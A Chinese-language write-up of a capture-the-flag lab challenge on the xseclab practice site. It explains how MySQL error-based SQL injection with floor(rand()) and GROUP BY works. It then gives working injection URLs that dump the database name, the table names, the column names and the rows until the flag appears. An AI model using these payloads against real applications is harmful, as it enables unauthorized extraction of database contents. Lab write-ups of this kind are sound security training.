lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin
本题目为手工注入学习题目,主要用于练习基于Mysql报错的手工注入。Sqlmap一定能跑出来,所以不必测试了。
一个很直白的说明啊
上手就是一个单引号,结果发现果然报错
报错注入的原理就是虽然程序不会通过SQL注入返回我们所想要的内容,但是在报错的时候会将所需要的信息暴露出来。这就是报错注入
这里利用公式
select count(*),concat(0x3a,(注入代码),0x3a,floor(2*rand(0)))a FROM information_schema.tables GROUP BY a ;
concat:为聚合函数,连接字符串功能
floor:取float的整数值
rand:取0~1之间随机浮点值,长度测试大概为16-19的样子,官方手册也没说明
group by:为聚合函数,根据一个或多个列对结果集进行分组并有排序功能
a为as a 别名的简写方式
floor(rand()*2) rand为0~1,rand()*2为0~2,那么整个语句就是取0,1,2三个数字,rand()为1的几率可以忽律不计,所以是 0,1两个随机数
除了用公式外,其他的都是一样的手段
那么我们先开始爆数据库名字
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' unionselectcount(*),concat(0x3a,0x3a,(selectdatabase()),0x3a,0x3a,floor(2*rand(0)))aFROMinformation_schema.tablesGROUPBYa %23
爆出库名,爆表名
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' union select count(*),concat(0x3a,0x3a,(select table_name from information_schema.columns where table_schema=database() limit 0,1),0x3a,0x3a,floor(2*rand(0)))a FROM information_schema.tables GROUP BY a %23
输入后,出来一个表名 log
我们更改 limit 0,1 为limit 1,1 回车后
出现motto, 再次增加,总共爆出log,motto,user三个表名
爆出表名,爆字段,三个表里自己找
按着习惯,直接进,motto
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' union select count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name=0x6D6F74746F limit 0,1),0x3a,0x3a,floor(2*rand(0)))a FROM information_schema.tables GROUP BY a %23
爆出 id ,username ,password 那么就都列出来不就知道了里面藏着什么
http://lab1.xseclab.com/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admin' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e,username,0x3a,motto,0x7e) FROM motto limit 0,1),0x7e),1)%23
在这里,列出了motto 的,limit 要自己多改几次
当limit 3,1,爆出'~~#adf#ad@@#:key#notfound!#~~'
根据题目排出 key和#
所以flag为notfound! 别忘了感叹号